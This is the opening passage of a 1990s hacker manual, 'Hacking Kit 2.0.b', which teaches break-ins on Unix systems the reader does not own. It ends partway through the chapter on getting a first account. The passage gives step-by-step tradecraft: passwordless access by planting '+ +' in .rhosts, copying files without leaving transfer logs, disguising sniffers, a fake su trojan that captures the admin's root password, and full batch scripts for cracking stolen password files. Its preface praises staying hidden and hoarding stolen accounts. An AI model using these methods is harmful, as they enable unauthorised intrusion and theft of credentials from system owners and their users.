TUCoPS :: Unix :: General :: hackkit.txt

Hacking Kit 2.0.b

 
THIS PAPER CONTAINS .C CODE - MAKE SURE TO TURN WORD WRAP OFF! In your editor!!
AND DO NOT SAVE ANY CHANGES TO THIS FILE IF ASKED....

Unix Utils
Linux/BSD/SySV/SunOS/IRIX/AIX/HP-UX

Hacking Kit v1.0.c Jan/97
Hacking Kit v2.0.b March/97  (this is an update)

  By: Invisible Evil
 IRC: #unixhacking #virus #hackers #virii #hacking #hacker
      #hack is just to busy for me ;)
NICK: i-e

If you have any other exploits, bugs, sniffers or utils that are not in here
please mail them to ii@dormroom.pyro.net. And I will be sure to keep you
updated with the latest version of this toolkit.

Comments are welcome.  Sys admin's that want to keep their system clean are
welcome to request the latest version.

If you are looking for perfect grammar or spelling please put this file in
your circular file.  I put enough time into this and just put it through
a cheap spell check.

Whats new?  Look for more info on tricks of the trade, and nfs mounting
drives to gain access to shells.  I am sure you will like the additions.
I have added a login trojan, in.telnetd trojan, and some more scripts for
scanning machines for mountable drives.  Have pun!


I will add a (*)  to  u p d a t e d  s e c t i o n s.


Contents:

Disclaimer
Preface

Chapter I - Unix commands you need to know

    1A. Basic commands
        Getting back to your home directory
        getting into a user home directory easy
        how to see what directory you are in now
        How to get a complete manual for each command
    1B. Telnet
        Unix file permissions
        Unix groups
        How to change permissions and groups
    1C. Rlogin
        .rhosts
        How to setup a .rhost file to login without a password
    1D. FTP
        Logging in to the site, but never out of the site.
        Using prompt, hash, and, bin
        Using get, put, mget, and, mput
    1E. GCC (unix compiler)
        How to get the file to the hack box without uploading it
        How to copy files to your home directory easy
        How to compile .c programs
        How to name them what you want
        How to load programs in the background while you log off
        Looking at your process with ps

Chapter II - Getting started (your first account)

    2A. Cracking password files
        How to get hundreds of accounts with your first hacked account
        Why you only really need one password cracked on a system
        How to get the root password from the admin, on an non-exploit system
        Using A fake su program
        Doc's for the fake su program
        How to find the admin's
        How to read .bash_history
        Cracker Jack - A good password cracker
        How to use crackerjack
        Word Files
        What you will need to get started
        Hashing the word files
      * Hash file for use with cracker jack and your word list
      * Hash file for use with cracker jack and your passwd file
    2B. Talking to newbe's
        How to find the newbe's
        How to get the newbe's passwords
    2C. The hard way
        Using finger @
        What could the password be?
        Getting more info from finger
        a small .c file to use if you get on
        Writing a small perl script to do the work for you.
        How to get a domain list of all domains from rs.internic.net
        A perl script to rip the domains & put them in a sorted readable list
        How to execute the perl script

  * 2D. Using mount to gain access to unix systems
      * What is nfs mount
      * What you need to get started
      * How to check a system to see if you can mount their drives
      * A script to scan for systems that are nfs mountable
      * How to mount the system
      * How to unmount the system
      * A Live Demo
      * Mounting the drive
      * Viewing the user directories
      * Editing the local machine's passwd file
      * How to put a .rhosts file in one on thier users directories
      * How to rlogin to the users account

Chapter III - Getting password files

    3A. PHF
        What is phf
        Using lynx or netscape to access phf
        Finding the user id the victims httpd (www) is running under
        How to see if you are root using phf
        How to cat the password file using phf
        Backing up the victims password file
        Changing a users password using phf
        Restoring the old passwords
        A .c file that will let you pipe commands to phf from your shell
        How to use the phf shell file
        Another way to use phf - text by quantum
        Quantum's bindwarez file
        A perl script that will try EVERY domain on the internet and log
        root access and snatch passwd files for you all day in the background.
        Doc's for the pearl script above
        Getting accounts from /var/?/messages
        A script to get the passwords for you if you can access /var/?/messages
    3B. Newbe's
        Lammer's
    3C. Getting shadow passwd files
        What is a shadow passwd
        Getting the shadow file without root access
        A .c file to cat any file without root access
    3D. Getting /etc/hosts
        Why get /etc/hosts

Chapter IV - Getting the root account

       What to do if you can't get root on the system
   4A. Bugs
       Intro
   4B. Exploits
       The umount/mount exploit
       What are SUID perm's
       The umount .c file
       How to compile umount.c
       The lpr Linux exploit
       The lpr Linux .c exploit file
       The lpr BSD .c exploit file
       How to use lpr
       Watch the group owners with lpr
       Just use lpr for first root, then make a SUID shell
       How to make the SUID root shell for future root access (root root)
       The splitvt exploit
       The splitvt exploit .c program
       How to use the splitvt exploit program
       The sendmail 8.73 - 8.83 root exploit shell script
       How to use the sendmail exploit to get root access


Chapter V - Making yourself invisible

       Keeping access
   5A. Zap2 (for wtmp/lastlog/utmp)
       Fingering the host before login
       How to login and stay safe
       How to configure Zap2
       Finding the log file locations
       The zap.c file
   5B. Other scripts
       The wted wtmp editor
       Command line usage for wted
       How to chmod the wtmp.tmp file
       How to copy the wtmp.tmp to the wtmp file
       Setting the path for the wtmp file in wted
       The wted.c file
       Cleaning the lastlog file using lled
       Command line options for lled
       How to use lled
       How to chmod the lastlog.tmp file
       How to copy the lastlog.tmp file to lastlog
       Setting the path for the lastlog file in lled
       The lled.c file
     * A good perl script for editing wtmp, utmp, and, checking processes
Chapter VI - Cleaning the log files

   6A. A walk around in a hacked system - let's login
       Logging on the system
       Watching for admin's
       Nested directories
       Having your root file ready
       Becoming invisible
       Greping the log directory
       Cleaning the logs
       Lets sniff the network
       Editing your linsniffer.c
       Looking at the processes running
       Compiling and naming your sniffer program
       Starting a sniff session
       Changing group file access
       Making a suid root shell trojan for uid=0 gid=0 every time
       Naming your trojan
       Touching the files date
       Checking the sniffer log file
       Setting the history files to null
     * Using unset for the history files
   6B. messages and the syslog
       How to find the logs are by reading /etc/syslog.conf
       How to see if there are logs in hidden directories
       How to see if logs are being mailed to user accounts
       How to see if logs are going to another machine
     * How to edit syslog.conf to hide logins
     * Restarting syslogd
       How to see if there is a secret su log by reading /etc/login.defs
   6C. The xferlog
       How to edit the xferlog
       How to grep and edit the www logs
       How to look for ftp logs
     * Other ways to edit text logs
     * Using grep -v
     * A script to rip text lines from these logs
     * Restarting syslogd
   6D. The crontabs
       How to find and read the root or admin's cron
       How to see if MD5 is setup on the machine
       What is MD5

Chapter VII - Keeping access to the machine

   7A. Tricks of the trade
       When the system admin has found you out
       What to expect from the admin
       History files
       Nested directories
       Placing trojans
       Hidden directories
       Making new commands (trojans)
       Adding or changing passwd file entry's
       Setting some admin accounts with null passwords
       The best way to add an account
       Editing a null account so you can login
       Installing more games or exploitable programs
       How to know your admin's
       Reading system mail (with out updating pointers)
       What to look for in the mail directories
       A program to read mail without updating pointers
   7B. Root kits and trojans
       What are root kits
       What are Demon kits
       What do trojans do


*********************************************************
* Appendix I - Things to do after access                *
*********************************************************
  The a-z checklist

*********************************************************
* Appendix II - Hacking / Security WWW / ftp sites      *
*********************************************************

*********************************************************
* Appendix III - More exploits for root or other access *
*********************************************************

A3-01. Vixie crontab buffer overflow for RedHat Linux
A3-02. Root dip exploit
A3-03. ldt - text by quantumg
A3-04. suid perl  - text by quantumg
A3-05. Abuse Sendmail 8.6.9
A3-06. ttysurf - grab someone's tty
A3-07. shadow.c  - Get shadow passwd files
A3-08. Abuse Root Exploit (linux game program)
A3-09. Doom (game) root exploit - makes suid root shell
A3-10. dosmenu suid root exploit
A3-11. Doom root killmouse exploit
A3-12. Root exploit for resize icons
A3-13. Root console exploit for restorefont
A3-14. Root rxvt X server exploit
A3-15. Root wuftpd exploit
A3-16. A shell script called gimme, used to read any system file

*********************************************************
* Appendix IV - Other UNIX system utilities             *
*********************************************************

A4-01. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX
A4-02. invisible.c  Makes you invisible, and works on some SunOS without root
A4-03. SySV Program that makes you invisible
A4-04. UNIX Port scanner
A4-05. Remove wtmp entries by tty number or username
A4-06. SunOS wtmp editor
A4-07. SunOS 4+ Zap your self from wtmp, utmp and lastlog


*********************************************************
* Appendix V - Other Unix Exploits                      *
*********************************************************

A5-01. HP-UX Root vhe_u_mnt exploit
A5-02. IRIX Root mail exploit
A5-03. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX
A5-04. IRIX mail exploit to make you any user on the machine - BUT NOT root
A5-05. BSD - crontab root exploit

*********************************************************
* Appendix VI - UUENCODED FILES                         *
*********************************************************

1. Quantum's Bindwarez binary file for PHF
2. Demon Root Kit - Includes: Banish, DemonPing, DemonSu, DemonTelnet
3. Linux Root Kit - Includes: Login, Netstat, and, PS
4. The Fake SU Program

**********
Disclaimer
**********

True this manual will aid hackers into breaking into systems but it is also
provided to guide system admin's on different security problems and help
with things to watch for on their system to keep hackers off.

If you use this manual to gain access to any system where you do not belong,
and do any type of damage, you alone will suffer for your stupid actions!

I am not telling you to break into any system, I am just showing some of
my experience, and things that I would do if I was to break into my own system.

This is for information only.....
ISP's Secure Your Systems!

*******
Preface
*******

Ok, lets get started.  If you are going to hack, you must be doing this for a
reason.  All hackers have their reasons for doing what they do.  Most are just
hungry to learn.  Most of what I have learned about unix, i have learned on
some service providers or someone else's machine.  I am one for the 'hands on'
experience.  There is much to learn and you would have to read 20,000 books
just to get what you would learn out of a few config files, a few admin email
messages, some .bash_history files, and some poking around a few systems.

Here in this manual you should learn how to be the 'complete hacker' and come
up with a style of your own.  It will not take to long, but it will take some
practice and experience before you will be able to call yourself a hacker.

Not just anyone that can crack a password file, and log into a unix machine
can call themselves a hacker.  Ok, you can get root access to a box!  You still
are not a hacker!  You need to know why you are a hacker first, and then have
your 'code' and 'style'.  You need a purpose and a reason for hacking into any
box.  The true hacker knows why he is doing what he does, and is doing it for
reasons like knowledge, free information, and ACCESS. The true hacker will
turn one hack into access to many different systems and providers and keep this
access for future learning and more FREE information.

The wan-a-be hacker will not be invisible, and will do many stupid things like:
delete or corrupt data, down the machine, run bots or irc clients from root
accounts or machines Give the passwords he cracked to everyone in the world
to prove they can hack. Or they might just do stupid things that will get
themselves cought.  I think sometimes this is done purposely just to draw
attention to themselves so they can get cought and make the announcement that
they are a hacker, and they were here!  A real hacker needs no such glory,
he just needs the access and wants to keep it and be invisible! He will not
tell many friends about the system, he will not give out the passwords or
accounts, he will keep others off so he can continue his access there and
keep it clean.

Here in this manual i hope that i can add enough style so that you can have
real heart in this matter and and be a good clean hacker.

Happy hacking ...

--------------------------------
Chapter I

Unix commands you need to know.
--------------------------------

There are just a few basic commands you need to learn, and then some unix
programs that will aid you in logging in logging into or keeping access to
the machine.

Call your local internet service provider and ask them to sell you a shell
account so that you will have something to practice on to learn these
basic commands.  The average shell account might cost you $10.00 per month
if you don't already get one with your existing account.

--------------
Section 1A

Basic commands
--------------

I hope you have a basic knowledge of DOS, that would help a bit, and I will
assume that you already do in writing this manual.

DOS Commands you are used to first:

REMEMBER: unix is case sensitive, so if I here use lower case you must also,
if I use a space you must also.  DOS will let you get away with allot of things
but unix will not!

DIR/W      = ls
DIR        = ls -l
DIR/AH     = ls -al  AH=(hidden) -al=(include hidden files as well as regular)
RENAME     = mv
ATTRIB     = chmod
MD         = mkdir
RD         = rmdir
DEL        = rm
COPY       = cp

These are the basic commands, i suggest that you lookup the man pages
on each one of these commands from your unix shell.  You would do this by
typing 'man command' without the ''.

each one of these commands will have switches for them, like cp -R to copy
files and directories.  So you would type man cp to get all of the switches
you can use with the copy command.

cd {then press enter} will always take you to your home directory
cp filename $HOME will copy the file to your home directory
cd ~username will take you to that users home dir if you have access to be
   there
pwd {press enter} will show you what directory you are in.

-------------
Section 1B
Telnet
-------------

Telnet is a command that you can use from a shell account, or from an exe
file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems
that will let you connect to another machine on the net.  There are other
programs you will learn about here like FTP, and rlogin that you can use as well
but now we will use telnet.

You can use telnet if you know the IP address or the host name you want to
connect or login to.  To use the command you would just use the telnet program
to connect to the IP or host like this:

Telnet netcom.com  or  telnet 206.146.43.56

Ok, now lets login:

telnet machine.com

trying .....

Connected to machine.com

Linux 2.0.28 (machine.com) (ttyp0)

machine login:username
password:#######

bash$

Your prompt might look different, but we will use this one.

Notice above that it will tell you the O/S when you get the login prompt.
You can use this if you get a large collection of passwd files.  Even before
going on to crack them sort them by O/S types by just telnet-ing to them to
see what they are running.  There are other ways, but lets keep this telnet
topic going for a sec... telnet domain.name.com, after you see what they are
running make a note of this and ctrl ] to break out of the connection.

Put all of your linux passwd files into a pile to be cracked first.  All we
need is one account that works for the system, and we can be almost sure
we will have root on that machine!  There are way to many holes in linux to
think we will not be able to own one of those machines, so lets get to work so
we can start this wonderful world of hacking.

----------------------
Unix File Permissions
----------------------

bash$

bash$ cd /tmp
bash$ ls -l
total 783
-rwx------   1 wood     users           1 Jan 25 18:28 19067haa
-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
-rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
-rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens

First notice that we used a / and not \ to change to the tmp directory! Unix
uses the / as the root so it is backwards from DOS here.
Notice we did ls -l for the long directory. If we did 'ls' we would have what
you see below.

bash$ ls
19067haa      filter.14428  pop3a13598    pop3a13600    screens

With what we see here can not tell much, so most of the time we will be
using ls -al with the -al we will see the hidden files also, hidden
files and directories will always start with a '.'.  Now watch:

bash$ ls -al
total 794
drwxrwxrwt   4 root     root         8192 Jan 25 23:05 .
drwxr-xr-x  22 root     root         1024 Dec 28 18:07 ..
-rw-r--r--   1 berry    users           6 Jan 25 23:05 .pinetemp.000
drwxr-xr-x   2 berry    users        1024 Jan 25 23:05 .test
-rwx------   1 wood     users           1 Jan 25 18:28 19067haa
-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428
-rw-------   1 rhey19   root       395447 Jan 24 02:59 pop3a13598
-rw-------   1 rhey19   root       395447 Jan 24 03:00 pop3a13600
drwxr-xr-x   4 root     root         1024 Jan 12 13:18 screens

.pinetemp.000 is a hidden file, and .test is a hidden directory.

-rw-r--r--   1 berry    mail            1 Jan 16 12:38 filter.14428

row 1          row2     row3
----------------------------

Now here we need to learn about permissions, users, and groups.

Row #1 is the file permissions
Row #2 is who owns the file
Row #3 is the group owner of the file

File permissions are grouped together into three different groups.
If the line starts with a d, it is a directory, if there is no d, it is a file.

- --- --- ---
| |   |   |--------> Other = anyone on the machine can access
| |   |------------> Group = certain groups can access
| |----------------> User  = only the owner can access
|------------------> Directory Mark



- rw- r-- r--
| |   |   |--------> Other can only read the file
| |   |------------> Group can only read the file
| |----------------> User  can read or write to the file
|------------------> It is not a directory


- rwx rwx r-x
| |   |   |--------> Other can read and execute the file
| |   |------------> Group can read write and execute the file
| |----------------> User  can read write and execute the file
|------------------> It is not a directory


The owner is the user name in row #2 and the group owner is the name in row #3.
In DOS the file has to have a .exe, .com, or .bat extension to execute, but in
unix all you need is the --x in your group of user, other, group

You can change these permissions if you own the file or have root access:

---------------------------------------------------------------------------
chmod oug+r filename will make all three groups of permissions be able to
read the file.

chmod og-r filename would make the file readable only to the user that owns
the file.  (notice the - or + to set the file yes or no)

chmod +x filename would make the file execute by all.

chown username filename would make the file owned by another user.
chgrp groupname filename would make the file owned by another group.
---------------------------------------------------------------------------

Make sure to keep file perm's and groups the same or you will be sniffed
out and booted from the system.  Changing configs on the system might only
break other functions, so keep your paws off or you are just asking to get
cought.  Only do what you are *SURE* of.  Only use commands that you know,
you might find yourself spending hours fixing just one typo like
chown -R username /* could keep you busy for a year ;)

Just be careful!

We will get into this stuff more as we go into the needs for this.

------------------
Section 1C Rlogin
------------------

There is another command you might use and we will get into this elsewhere
as we get into using rlogin to login to a system without a password.

For now read the man pages on rlogin by using the man rlogin from your
shell account.

The basic command would be :

rlogin -l username hostname
connecting....
password:

bash$

Rlogin requires the user to have a file in their home directory that tells
what system they can receive the rlogin from.  In this file .rhosts it would
look like this:

username hostname (or) hostname

if you were to add to this file   + +   it would let any user from any host
login without a password.

The file would look like this:

----- cut here ------
+ +
_____ cut here ------

if they already had entry's you could add the + + under their host names, but
remember now they would notice seeing they would now be able to rlogin
without the password.  You would be targeting people that did not
already have a .rhosts file.

---------------
Section 1D FTP
---------------

Another way to login will be FTP.  You can use a windows client, or just
login from a shell.

ftp ftp.domain.com

This will allow you to download or upload files to the site you are hacking.
Just make sure to edit the xferlog (see section 6d) to wipe your tracks
on the system.  Remember NEVER to ftp or telnet out of the hacked system, only
log into it!  If you are coming from your own system, or from another hacked
account you might just be giving your login and password to the system admin
or another hacker on their system.  There could be a telnetd or ftpd trojan
loaded on the system, or even a sniffer.  Now you would have just gave someone
your login id and password.  And if this was the system admin, he might have
the idea that revenge is sweet ;)

Using ftp from the shell, I would suggest using a few commands:

After you login, and have your prompt, type these commands
pressing enter after each one.

prompt
hash
bin

prompt will allow you to type a command like (mget *) or (mput*) and transfer
an entire directory without having it prompt you for each file yes or no.

               hash marks
hash will put ############ on the screen so you can see the transfer
is still moving and at what speed.

bin will make sure you get the files in the right mode, and if transferring
binary files, you will be sure they will uncompresses.

The transfer commands are easy, get filename, or, put filename, or for many
files you can use regular wild cards with mput  or mget.

--------------------
Section 1E
GCC compiler
--------------------

There will be a time when you will need to compile a .c file.

It is best to compile on the machine you are working on.  So upload or copy
and past the files to the hacked box and compile them there.  If you have
problems with their compiler you can try to upload pre-compiled files.

One way to get the file up to the victims machine would be to use copy
and paste.  Get a good tsr or windows shareware program to do this if
you do not have any way to do it now.  You can copy a script file from
one window and paste it into an editor on the victims machine, and then compile
the new file.  Walaa... no upload log of the file.  You can copy and paste
from the victims machine as well so that there are no download logs of ascii
files.

To copy and paste you can just open an editor on the hacked box, and then copy
from your other session, and paste your script into the editor and save the
file.  This way there will not be anything in the xferlog yet.

You can do the same thing with the password file.  If you do decide to
download the password file using ftp, make sure to copy it to your home
directory first under a different name.

bash:/etc:> cp passwd $HOME/plog  would copy the file called passwd from the /etc
directory you were in, to your home directory in a file called plog instead of
passwd.  Admin's grep the xfer logs looking for who is downloading the passwd
file.

Another way to get file to or from the box without showing up in the logs
would be to open an irc session on the victims machine, then from your other
session where you are already a user on irc, send the files using dcc.

The command to send the files would be /dcc send <nick> <filename>
The command to get the file on the other side would be /dcc get <nick> <file>

It would be nice if you had a bot loaded on the irc when you were hacking so
that you could just send files to the bot and have it auto receive them.

A 'bot' is a robot program that you can load in the background on your shell
account that will receive files, keep channels open, etc...


The GCC compiler is easy...

gcc filename.c -o filenameyouwant

If i was to compile a file called z2.c that would zap the log files i would
type this:

gcc z2.c -o zap

This would give me a file that would exe, called zap

If I just typed : gcc z2.c  I would have a file named a.out, that was the executable
file and would have to rename it to zap, or some name i would know by doing
this: mv a.out zap

Now I would have a file named zap that was executable instead of a.out.

You will want to make sure you are not naming these files names that sys admin's
will know.  If you had a sniffer file called 'linuxsniffer.c' you don't
want to keep the same name ;) call it something like:

gcc linuxsniffer.c -o lsn

Remember also sometimes you can execute these files names right in the directory
by just typing the file name like for our 'lsn' (sniffer) above just by
typing lsn.  But sometimes this will not work unless you add a ./ to the
command.  So remember, sometimes you will need to type ./lsn  or your file
name.

Also there will be a time you will want a program to run in the background
even after you logoff.  Like in the case of the sniffer above.  In this case
you might want to name your sniffer something that would not be so easy
noticed.  Use your own style here.  BUT to make it stay in the background while
you are off the system you need to run the command with a & after the command.

lsn&

If you were to just type lsn, your screen would pause, and you would not be
able to type while the program was sniffing, but if you typed lsn& it would
load and the system prompt would come right back to you.  Also the system
would let you know it was loaded by giving you the process id # that it
was loaded as.

You could view the process with the ps -x command, you might want to run
ps -auxe |more

a= all
u= show user
x= yours
e= env

some machines
f=tree
or command: pstree

------------------------------------
Chapter II
Getting started (your first account)
------------------------------------

There are many ways to get a starter account. I will go into each area to
help you get started.  All you need is one good account to spawn off to
hundreds of accounts.  Think of this; You get one good exploitable system,
most any linux machine ;)

Now you get root access and load a sniffer program.  The TCP sniffer will
search out any login process on the network and log the login and password
for any telnet, ftp, or dial-in session going out or coming into the system.

Now even if it is a small ethernet connection you have around 100 passwords
for a few machines or domains.  If a larger net provider you have hundreds
of accounts all over the world!  All you need for this is one good account
and password to an exploitable system.  If it seems you can not exploit
root on the system, this might be a good system to crack passwords on and
exchange the accounts for other accounts from hackers or irc users that are
looking to load a bot but do nt have the shell account or disk space to do
it.  NEVER give out even one password to a system you exploited root on.
Keep these systems to yourself!

Lets now get into ways to get your first accounts.

------------------------
Section 2A.
Cracking passwd files
------------------------

If you are hacking with the right frame of mind, you will run the crack
program until you get one good account that will let you into the system.

You will login and see if you can exploit root on the system, if so, get root,
get the files you need to use into your nested directory, and erase your
presence, and clean all of the logs.  Now you are ready to load your sniffer.

Why go on hacking passwords for a system that within 24 hours you will have
most of the passwords anyway?  Not only for the machine you just hacked, but
other machines that were connected to as well.  If the system is not
exploitable don't even waste your time on it, go on to the next.  At a latter
date if you want to crack passwords for accounts to trade go ahead.

If you get an admin's account cracked you might want to read his history files,
and see if he is using the su command to access root allot.  If he is you can
use an su trojan on him.  This will get you the root password.  This works like
this:  You change his shell script so that a hidden directory (.term) is good,
is set in the search path before all other directories.  You put a fake su
binary in the .term (or other) directory.  He types su, everything looks good
to him, he types in the root password when prompted, the password id copied to
a log file in /tmp/.elm69, and deletes the trojan su file, and returns to him a
password error telling him to try again.  He thinks he must have done something
wrong and runs su again, but this time the real one and logs in.

You will find this fake su program in the last appendix named uuencoded files.

Here are the docs:

Fake SU by Nfin8 - i-e

IRC: /msg i-e

Easy as 1,2,3 ...

1. Change the path in one of the user accounts that you have access to that
you see is using SU from reading their history files, to hit a path first
that you have placed the su trojan file into.  .term or .elm is good!

2. Make sure to edit the top of the su.c file to the path you will be using
so that the sutrojan will delete isself and let the real SU work for the
second try.

3. Put all of the files in the target directory and compile the su.c file.

gcc su.c -o su

Then delete all of the files but the su.  All done!

.bash_profile might look like this:

# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
                fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin
ENV=$HOME/.bashrc
USERNAME=""

export USERNAME ENV PATH

You change the first line to: PATH=$HOME/.term:$PATH:$HOME/bin


When the sys admin run's 'SU' it will run the SU-trojan in the .term
directory first and report that the password he typed was wrong, the
Trojan su program would have put a hidden file in the /tmp directory for
you that contains the root password (or account passwd) typed.  If it was
an account rather then the root password it will let you know the account
name. Then the trojan su program deletes itself so that the next try will
get the real su program.


You can find the admin's at the top section of the passwd file in the /etc
directory.  Just type :  more passwd

You can be sure that the first two real accounts made in the passwd file are
admin's, also sometimes you can find others by where their directories are
located in the password file.  Like /staff/username.

The history files are in each users account directory.  You can read these to
see what the last commands were that were typed by the user.  Sometimes as
much as the last 100+ commands.  Look for the file .bash_history, or History,
you can read these using more.  command: more .bash_history, or most times to
keep your typing you can type : more .b*  (or) just type : more .b (and then
hit the tab key on your keyboard).

Ok so now you need a good password cracking program. You can see in the next
chapter on how to get password files from systems that you do not have an
account on, but it is catch 22, you need the password cracking program too.

There are three things that you will need.

1. Password cracking program
2. Good word files
3. Password files

The best password cracking program to start would be crackerjack.  You can
search the web and find this easy as 1,2,3.  Download it and you are ready
to go.  If you are a bit more advanced you can download a cjack for unix and run
it in a shell.  But if you are just getting started get the DOS/OS/2 version.

Also search for some good word files.  The best word files are the names.
You will find that most unsecured passwords out there are guy's girlfriends
names, of girls boyfriends names ;)  You will find word files like
'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords'
hackersdict' and other like these to be the best.

Load crackerjack like this:

[D:\jack]jack

Cracker Jack version 1.4 for OS/2 and DOS (386)
Copyright (C) 1993, The Jackal, Denmark

PWfile(s) : domain.com.passwd

Wordfile  : domain.com.passwd

Like above run the password file as the wordfile first.  This will get you all
of the logon's first that used their login name as their password, also if they
used any other info like their real name or company name it will hit right away
and you will not have to wait for the program to search through a word file.

If you want to hash the word file to get more out of it you can read the doc's
for crackerjack.

Hashing is where you can tell crackerjack to change the case of the wordfile
or even add numbers or letters to the beginning or end of the words in the word
file, like sandy1 or 1sandy.  You will find that many users do this and think
they are more secure.

Here are hashing files for both the passwd file and your word list.  After
looking these over you will see how you can modify these or create new ones
to suit your needs.

------------ start of dicthash.bat
@echo off
cls
echo - THIS FILE FOR DOS MACHINES
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file, along with your dict and
echo - password file.  Then use this batch file using the following format:
echo -
echo - dicthash.bat dictfilename.ext passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - dicthash will first load jack running the dict file against your
echo - password file in both cases, then it will add numbers 0-9 both to
echo - the begining and end of every dict word.  This will take a while,
echo - so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits, let me know how this works for you ;)

jpp -lower %1 | jack -stdin %2
jpp %1 | jack -stdin %2
jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2
jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2
jpp  -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
jpp  -dot:7 %1 | jpp -translate:.0 | jack -stdin %2
jpp  -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2
jpp  -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2

---------------- end of dicthash.bat

---------------- start of jackhash.bat
@echo off
cls
echo - THIS FILE FOR DOS
echo ----------------------------------------------------------------------
echo - To work this batch file have all of the crackerjack files in the
echo - current directory with this batch file, along with your password file.
echo - Then use this batch file using the following format:
echo -
echo - jackhash.bat passwordfilename.ext
echo -
echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.
echo -
echo - jackhash will first load jack running the passwd file against
echo - itself in both upper and lower cases, then it will add numbers 0-9
echo - both to the begining and end of every dict word.  This will take
echo - a while, so go out for that week vacation!
echo -
echo - If you get tired you can 'ctrl c' to the next option or number.
echo -
echo - ii@dormroom.pyro.net
echo -
echo - Mail me some of your hits, let me know how this works for you ;)

jpp -gecos:5 -lower %1 | jack -stdin %1
jpp -gecos:5 %1 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1
jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1
jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1
